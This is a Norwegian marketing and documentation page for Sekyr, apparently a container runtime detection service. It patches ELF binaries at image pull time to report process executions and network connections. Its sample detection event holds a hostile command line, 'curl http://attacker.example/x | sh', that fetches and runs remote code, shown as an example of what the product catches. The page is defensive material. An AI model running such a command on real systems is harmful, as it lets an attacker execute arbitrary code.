Deteksjon som følger imaget, ikke hosten.
Sekyr er en OCI pull-through-proxy. Du pusher images til ditt eget register som før, og orkestratoren puller dem gjennom Sekyr. På veien gjennom legger vi ett eller flere ekstra lag oppå de eksisterende lagene i imaget. De nye lagene inneholder patchede kopier av hver ELF-binær vi fant, pluss en liten reporter. Originalene leveres uendret. Når en patchet binær kjøres, er selve kjøringen hendelsen. Vi noterer hvem som kjører (binærsti, argv, foreldreprosesskjede, ikke-sensitive miljøvariabler) og hvilke nettverkstilkoblinger prosessen har åpne, og sender det tilbake til Sekyr. Ingenting annet kjører på serverne dine.
- Flate
- OCI Distribution Spec, kun pull
- Fotavtrykk
- Ekstra lag — størrelsen avhenger av hvor mange binærer som patches
- Mekanisme
- Patching av binærer ved pull
- Runtime
- Agentløs, kjører bare når en patchet binær kjøres
Hvor Sekyr sitter.
En pull-through-proxy som ligger mellom orkestratoren din og registeret bak. Du pusher images til ditt eget register som før; orkestratoren puller dem gjennom oss. Ved første pull analyserer vi imaget, patcher hver ELF-binær vi finner, og leverer resultatet tilbake med ett ekstra lag oppå originalen. Senere pulls treffer cachen og går gjennom uendret.
Hva som skjer ved docker pull.
Sett fra klienten ser det ut som en helt vanlig OCI-pull. Push av images går fortsatt til ditt eget register, ikke til oss. Inne i cachen kjøres fire steg ved første pull før manifestet returneres. Senere pulls av samme digest er et cachetreff. Det ekstra laget signerer vi med vår egen nøkkel, slik at det endrede imaget kan verifiseres mot den. Signaturen fra det opprinnelige imaget videreføres ikke. Vi sjekker ikke proveniens mot noen allowlist, og vi endrer ikke originale lag.
- 01
Skann
Gå gjennom imaget. Finn hver ELF-binær inni: shells, binærer fra pakker under /usr/bin, busybox-applets, runtimes for ulike språk, alt som kan kjøres.
- 02
Patch
Legg en liten observasjonsrutine inn i hver ELF-binær i imaget. Rutinen ligger i dvale til binæren blir kjørt. Når det skjer, våkner rutinen sammen med binæren og starter en liten sideprosess som sender ett event og avslutter.
- 03
Overlay
Pakk de patchede kopiene og reporteren inn i ett ekstra lag oppå imaget. De opprinnelige lagene er byte for byte uendret. Entrypointen skrives ikke om. Vi signerer det ferdige imaget med vår egen nøkkel, slik at det kan verifiseres mot oss. Signaturen fra det opprinnelige imaget blir erstattet, ikke beholdt.
- 04
Lever
Vi leverer det opprinnelige imaget pluss det ene ekstra laget vi har lagt på. Samme OCI-protokoll, samme digestverifikasjon. Senere pulls treffer cachen og får det samme imaget.
Hva som kjører i runtime. Nesten ingenting.
Sekyr er agentløs. Det er ingen daemon på hosten, ingen PID 1-supervisor i containeren, ingenting som fanger opp syscalls. De patchede binærene kjører som seg selv. Det er kjøringen av en av disse binærene som ER hendelsen vi bryr oss om. Det er den som vekker observasjonskoden og forker av en liten reporter-sideprosess som sender ett event og avslutter. En workload som ligger inaktiv lenge, koster ingenting.
Hva vi lytter etter.
Ingen profiler, ingen allowlists, ingen læringsvinduer. Hver patchede binær har samme observasjonskode, og hver kjøring av en slik binær gir et event med samme form. Det vi registrerer, er beskrevet under.
Hvem som kjører
For hver kjøring tar vi vare på binærstien, argv, argv[0], og hele foreldre-PID-kjeden tilbake til PID 1. Command injection dukker opp her: en webserver som plutselig kjører /bin/sh -c, en cron som starter curl, eller en database som forker en shell.
Nettverkstilkoblinger
For samme kjøring noterer vi hvilke nettverkstilkoblinger prosessen har åpne. Det fanger workloads som tar kontakt med adresser de ikke skal ha noe med å gjøre: mål for exfiltrering, C2-endepunkter, eller interne tjenester de aldri burde røre.
Prosesskontekst
Foreldre-PID-kjeden og ikke-sensitive miljøvariabler følger med hvert event. Du kan rekonstruere hvem som startet hva, selv når kjeden går gjennom flere kortlivede prosesser.
Ett event per hooktreff.
Hvert event har samme form: hva som skjedde, hvor det ble kalt fra, hvem forelderen var. Control plane er en søke- og varslingsflate over disse eventene.
{
"ts": "2026-04-26T14:22:08.412Z",
"workload": "api-7f9c8d6b4-x2k7l",
"image": "sekyr.com/ghcr/acme/api@sha256:f9c8d6b4...",
"event": "process.exec",
"exec": {
"path": "/bin/sh",
"argv": ["sh", "-c", "curl http://attacker.example/x | sh"],
"cwd": "/app"
},
"parents": [
{ "pid": 412, "comm": "sh", "exe": "/bin/sh" },
{ "pid": 411, "comm": "node", "exe": "/usr/local/bin/node" },
{ "pid": 1, "comm": "node", "exe": "/usr/local/bin/node" }
],
"env_safe": { "NODE_ENV": "production", "PORT": "8080" },
"site": { "binary": "/usr/local/bin/node", "offset": "0x4f12" }
}Reporterne sender events til analysemotoren vår. Vi filtrerer hardt allerede ved ingest og fjerner duplikater av events vi allerede har sett for samme image og call site. Bare nye, ekte signaler slipper videre inn i analysepipelinen. Vi kjører den atferdsbaserte deteksjonen oppå dette, så du slipper å sende den rå strømmen inn i din egen SIEM, og du slipper å skrive deteksjonsregler for hånd. Funn dukker opp i control plane, via webhooks, eller i den varslingskanalen du selv velger.
Hva dette koster deg. Som oftest nesten ingenting.
Den ærlige versjonen: vi har ikke harde tall å publisere ennå, men formen på kostnaden er bestemt av hvordan vi er bygget, ikke av tuning. Slik ligger den an mot alternativene.
Hva vi fungerer med.
Sekyr fungerer med alle registre som følger OCI Distribution Spec, og alle runtimes som følger OCI Runtime Spec. Listene under er vanlige eksempler — ikke en komplett liste. Vi har ikke testet alle selv.
Registre
- Docker Hub
- GitHub Container Registry
- AWS ECR
- Google Artifact Registry
- GitLab Container Registry
- Harbor
- Quay.io
- Self-hosted (hvilken som helst OCI-dist)
Orkestratorer
- Kubernetes 1.24+
- Amazon ECS
- Nomad 1.6+
- Docker / Compose
- OpenShift 4.x
Plattformer
- linux/amd64
- linux/arm64
- Distroless base images
- Alpine / musl
Deteksjon, ikke håndheving.
Sekyr handler bare om å oppdage. Vi blokkerer ikke, dreper ikke, og griper ikke inn i workloaden din — vi bare rapporterer. Lista under er det vi faktisk fanger ved å se på hva binærene gjør, og det vi bevisst lar være.
Hva vi fanger
- Command injection, der en prosess starter en shell med argv som angriperen kontrollerer
- Lateral movement, der workloads plutselig tar kontakt med interne tjenester de aldri har rørt før
- Mistenkelige kjeder av exec, som webserver → sh → curl → sh, eller andre uvante foreldre
- Uventede utgående nettverkskall til mål for exfiltrering eller C2-callbacks
- Living-off-the-land, der binærer fra busybox eller coreutils blir brukt i et image som vanligvis ikke trenger dem
- Crypto-miner som droppes og kjøres, der kortlivede mønstre i exec røper levering av payload
Hva vi ikke gjør
- Vi blokkerer ikke, dreper ikke, og signalerer ikke prosesser. Bare deteksjon.
- Vi fanger ikke angrep som aldri kjører en binær eller åpner en socket, så ren in-process minnekorrupsjon er usynlig for oss
- Vi ser ikke statisk lenkede binærer som cachen ikke klarte å kjenne igjen (sjelden, men det skjer)
- Vi beskytter ikke mot exploits på kjernenivå eller rootkits — det er hostens jobb
- Vi stopper ikke supply chain-angrep i byggefasen, før imaget når registeret
- Vi forsvarer ikke mot ondsinnede insidere som har både cluster-admin og rettigheter inn i event-pipelinen
Sekyr vs eBPF / agent-baserte containermonitorer.
Falco-lignende stacks setter en privilegert agent på hver host og overvåker kjernen. Vi legger hookene inni selve imaget, bruker CPU bare når noe interessant faktisk skjer, og lar analysesiden filtrere og fjerne duplikater før noe annet. Det er et annet sted å stå, og en annen form på kostnaden.
Sekyr
Deteksjon inne i imaget
eBPF + agent monitors
En daemon på hver host, i kjernen
Les dokumentasjonen. Pull et image. Se hva det gjør.
Start en gratis prøveperiode. Ingen agent å installere, og ingen endringer i orkestratoren utover et URL-prefiks.